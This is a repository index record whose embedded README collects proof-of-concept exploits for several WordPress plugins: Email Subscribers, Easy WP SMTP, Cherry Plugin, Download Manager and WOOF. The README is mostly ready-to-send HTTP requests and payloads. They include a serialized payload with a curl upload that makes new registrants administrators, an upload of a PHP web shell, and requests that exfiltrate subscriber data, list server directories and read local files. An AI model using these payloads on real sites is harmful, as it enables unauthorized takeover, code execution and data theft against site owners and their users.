{"id":21125748,"url":"https://github.com/randomrobbiebf/wordpress-exploits","last_synced_at":"2026-01-02T10:05:03.151Z","repository":{"id":85658788,"uuid":"258234896","full_name":"RandomRobbieBF/wordpress-exploits","owner":"RandomRobbieBF","description":"Random Wordpres Exploits May or May Not Work.","archived":false,"fork":false,"pushed_at":"2020-12-09T10:20:09.000Z","size":13,"stargazers_count":3,"open_issues_count":0,"forks_count":3,"subscribers_count":2,"default_branch":"master","last_synced_at":"2025-01-21T05:41:44.192Z","etag":null,"topics":[],"latest_commit_sha":null,"homepage":null,"language":null,"has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/RandomRobbieBF.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2020-04-23T14:38:42.000Z","updated_at":"2023-03-18T05:01:51.000Z","dependencies_parsed_at":"2023-03-01T11:30:33.152Z","dependency_job_id":null,"html_url":"https://github.com/RandomRobbieBF/wordpress-exploits","commit_stats":null,"previous_names":[],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/RandomRobbieBF%2Fwordpress-exploits","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/RandomRobbieBF%2Fwordpress-exploits/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/RandomRobbieBF%2Fwordpress-exploits/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/RandomRobbieBF%2Fwordpress-exploits/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/RandomRobbieBF","download_url":"https://codeload.github.com/RandomRobbieBF/wordpress-exploits/tar.gz/refs/heads/master","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":243573167,"owners_count":20312879,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":[],"created_at":"2024-11-20T04:36:41.394Z","updated_at":"2026-01-02T10:05:03.093Z","avatar_url":"https://github.com/RandomRobbieBF.png","language":null,"funding_links":[],"categories":[],"sub_categories":[],"readme":"# wordpress-exploits\n\nRandom Wordpress Exploits May or May Not Work.\n\n\nCVE-2019-19985\n---\n\n# Info\n\n```\nDescription: Unauthenticated File Download w/ Information Disclosure\nCVE ID: CVE-2019-19985\nCVSS v3.0 Score: 5.8 (Medium)\nCVSS Vector String: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N\nAffected Plugin: Email Subscribers \u0026 Newsletters\nPlugin Slug: email-subscribers\nAffected Versions: \u003c= 4.2.2\nPatched Version: 4.2.3\n```\n\n### POC\n\n```\nGET /wp-admin/admin.php?page=download_report\u0026report=users\u0026status=all HTTP/1.1\nHost: kubernetes.docker.internal\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:75.0) Gecko/20100101 Firefox/75.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nReferer: http://kubernetes.docker.internal/wp-admin/admin.php?page=es_subscribers\u0026action=export\nConnection: close\nContent-Length: 2\n```\n\n### Info\n\n```\nEasy WP SMTP Plugin for WordPress 1.3.9 RCE/Add Admin\n\nThe popular Easy WP SMTP plugin, which as 300,000+ active installations, was prone to a critical zero-day vulnerability that allowed an unauthenticated user to modify WordPress options or to inject and execute code among other malicious actions.\n\n```\n\n### POC\n\n```\nIn the following proof of concept, Its going to use swpsmtp_import_settings to upload a file that will contain a malicious serialized payload that will enable users registration (users_can_register) and set the user default role (default_role) to “administrator” in the database.\n\n1. Create a file name “/tmp/upload.txt” and add this content to it:\n\n\u003e a:2:{s:4:\"data\";s:81:\"a:2:{s:18:\"users_can_register\";s:1:\"1\";s:12:\"default_role\";s:13:\"administrator\";}\";s:8:\"checksum\";s:32:\"3ce5fb6d7b1dbd6252f4b5b3526650c8\";}\n\n2. Upload the file:\n\n\u003e$ curl https://TARGET.COM/wp-admin/admin-ajax.php -F 'action=swpsmtp_clear_log' -F 'swpsmtp_import_settings=1' -F 'swpsmtp_import_settings_file=@/tmp/upload.txt'\n```\n\n\n### Info\n\n```\nThe cherry plugin WordPress plugin was affected by an unauthenticated file upload and download vulnerability, allowing attackers to upload and download arbitrary files. This could result in attacker uploading backdoor shell scripts or downloading the wp-config.php file.\n```\n\n### POC\n\n```\nPOST /wp-content/plugins/cherry-plugin/admin/import-export/upload.php HTTP/1.1 Host: lovi.studio Connection: keep-alive Accept-Encoding: gzip, deflate Accept: */* User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0 Content-Length: 522 Content-Type: multipart/form-data; boundary=db6aa92af633763a3f43abd6cde64077 --db6aa92af633763a3f43abd6cde64077 Content-Disposition: form-data; name=\"file\"; filename=\"shell.php\" \u003c?=`$_GET[0]`?\u003e\n```\n\n### Info\n```\nWordPress Plugin Email Subscribers \u0026 Newsletters 3.4.7 - Information Disclosure\n```\n\n### POC\n\n```\nPOST /?es=export HTTP/1.1\nHost: kubernetes.docker.internal\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0\nAccept: */*\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nConnection: close\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 27\n\noption=view_all_subscribers\n\n```\n\nDownload Manager \u003c 2.6.3 \n----\n\n```\nPOST /wp-admin/admin.php?task=wpdm_dir_tree HTTP/1.1\nHost: 192.168.1.134\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:81.0) Gecko/20100101 Firefox/81.0\nAccept: */*\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nReferer: http://192.168.1.134/wp-admin/post-new.php?post_type=wpdmpro\nContent-Type: application/x-www-form-urlencoded\nX-Requested-With: XMLHttpRequest\nContent-Length: 33\nOrigin: http://192.168.1.134\nConnection: close\n\ndir=%2Fvar%2Fwww/html/wp-content/\n```\n\nTITLE\nArbitrary Shortcode Execution \u0026 Local File Inclusion\nPRODUCT\nWOOF - WooCommerce Products Filter (PluginUs.Net)\nVULNERABLE VERSION\n1.1.9\nFIXED VERSION\n2.2.0\n\n\n\n```\nPOST /wp-admin/admin-ajax.php HTTP/1.1\nHost: wordpress.lan\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:82.0) Gecko/20100101 Firefox/82.0\nAccept: */*\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nContent-Length: 75\n\n\naction=woof_redraw_woof\u0026shortcode=woof_search_options\u0026pagepath=/etc/hosts\n```\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Frandomrobbiebf%2Fwordpress-exploits","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Frandomrobbiebf%2Fwordpress-exploits","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Frandomrobbiebf%2Fwordpress-exploits/lists"}